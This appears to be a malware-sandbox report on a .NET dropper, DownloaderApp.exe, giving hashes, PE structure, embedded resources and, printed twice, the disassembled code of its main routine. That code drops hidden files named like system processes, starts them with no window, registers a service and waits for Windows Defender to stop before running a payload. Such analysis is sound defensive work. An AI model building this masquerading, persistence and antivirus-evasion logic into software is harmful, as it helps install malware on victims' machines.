Suspicious
Suspect

PE Executable
MD5: 385771f2dbeeec2a8c4e0204e5dbfbcc
Size: 5.06 MB
application/x-dosexec

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
Symbol Obfuscation Score Medium
MD5 385771f2dbeeec2a8c4e0204e5dbfbcc
Sha1 d559d825e2016d384928eb4eb6dea957692779c0
Sha256 2e199cb594c3aede58350bd2fefa695307196f96129dfcf0974a3560c767762a
Sha384 0cb48b71b3de5fe50b4525dd5ea08d5328360a60102f0f46dea980b244d20e807991b2afa831b34c79658a8b2fd12fc5
Sha512 184eaa6519600172a04f8d917b0563914e16bc2632dd561bcd4d044aa93c7df8a0c64116ac84b10acffde71d9a329826fac68ca349b9141092e2319f64abd85c
SSDeep 98304:PkriZvwJfV6FN6tybhgMIBugYDbRvrWBl4L5zHilgqGAegeRuaKqe:sriZO96utQWMIBAbQkLtHilgqjrJO
TLSH 2C36339F421FC30AF3F6A2BF817316713C715E16AF641272B364F81D4B9B563AA61260
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual C++ v6.0 DLLMicrosoft Visual Studio .NET
385771f2dbeeec2a8c4e0204e5dbfbcc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
AHZ5w2lxgAQ1.DP724.b7zzm
AHZ5w2lxgAQ1.2yYZsI.mhNSm
AHZ5w2lxgAQ1.Pf6FdL.qXSJ
AHZ5w2lxgAQ1.6ef95H.VuP
Name Value
Info
PE Detect: PeReader OK (file layout)
Info 
PDB Path: C:\10\boot\Downloader_winer\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr AHZ5w2lxgAQ1.Pf6FdL.qXSJ
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr AHZ5w2lxgAQ1.6ef95H.VuP
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr AHZ5w2lxgAQ1.DP724.b7zzm
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr AHZ5w2lxgAQ1.2yYZsI.mhNSm
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
Module Name
DownloaderApp.exe
Full Name
DownloaderApp.exe
EntryPoint
System.Void A.B::Main(System.String[])
Scope Name
DownloaderApp.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
DownloaderApp
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
.NETFramework,Version=v4.7.2
Total Strings
29
Main Method
System.Void A.B::Main(System.String[])
Main IL Instruction Count
146
Main IL 
call System.String System.IO.Path::GetTempPath()
ldstr svchostmanager.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.0 <null>
call System.String System.IO.Path::GetTempPath()
ldstr svchostam.exe
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.1 <null>
ldstr AHZ5w2lxgAQ1.Pf6FdL.qXSJ
ldloc.0 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.0 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldstr AHZ5w2lxgAQ1.6ef95H.VuP
ldloc.1 <null>
call System.Void A.B::F(System.String,System.String)
ldloc.1 <null>
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
leave.s IL_0049: call System.Boolean A.B::C()
pop <null>
leave.s IL_0049: call System.Boolean A.B::C()
call System.Boolean A.B::C()
brtrue.s IL_00C6: call System.Boolean System.Environment::get_UserInteractive()
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_007F: call System.Void A.B::D()
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
call System.Void A.B::D()
leave.s IL_008C: ldc.i4 3000
pop <null>
leave IL_01AD: ret
ldc.i4 3000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.1 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_00C5: ret
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ret <null>
call System.Boolean System.Environment::get_UserInteractive()
brtrue.s IL_00D8: nop
newobj System.Void A.E::.ctor()
call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase)
ret <null>
nop <null>
ldstr svchosthelper.exe
stloc.2 <null>
ldstr systemhelper.exe
stloc.3 <null>
ldstr WindowsLogsHelper
stloc.s V_4
ldc.i4.s 36
call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder)
dup <null>
ldloc.2 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_5
ldloc.3 <null>
call System.String System.IO.Path::Combine(System.String,System.String)
stloc.s V_6
ldstr AHZ5w2lxgAQ1.DP724.b7zzm
ldloc.s V_5
call System.Void A.B::F(System.String,System.String)
ldstr AHZ5w2lxgAQ1.2yYZsI.mhNSm
ldloc.s V_6
call System.Void A.B::F(System.String,System.String)
ldloc.s V_5
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
ldloc.s V_6
ldc.i4.6 <null>
call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes)
call System.Void A.B::H()
ldloc.s V_5
ldloc.s V_4
call System.Void A.B::I(System.String,System.String)
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_6
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
ldc.r8 3
call System.TimeSpan System.TimeSpan::FromMinutes(System.Double)
call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan)
brfalse.s IL_01A8: leave.s IL_01AD
ldloc.s V_5
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_01A8: leave.s IL_01AD
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor()
dup <null>
ldloc.s V_5
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String)
dup <null>
ldc.i4.0 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean)
dup <null>
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
pop <null>
leave.s IL_01AD: ret
pop <null>
leave.s IL_01AD: ret
ret <null>
385771f2dbeeec2a8c4e0204e5dbfbcc
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
AHZ5w2lxgAQ1.DP724.b7zzm
AHZ5w2lxgAQ1.2yYZsI.mhNSm
AHZ5w2lxgAQ1.Pf6FdL.qXSJ
AHZ5w2lxgAQ1.6ef95H.VuP
No malware configuration was found at this point.
You must be signed in to view YARA rules.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙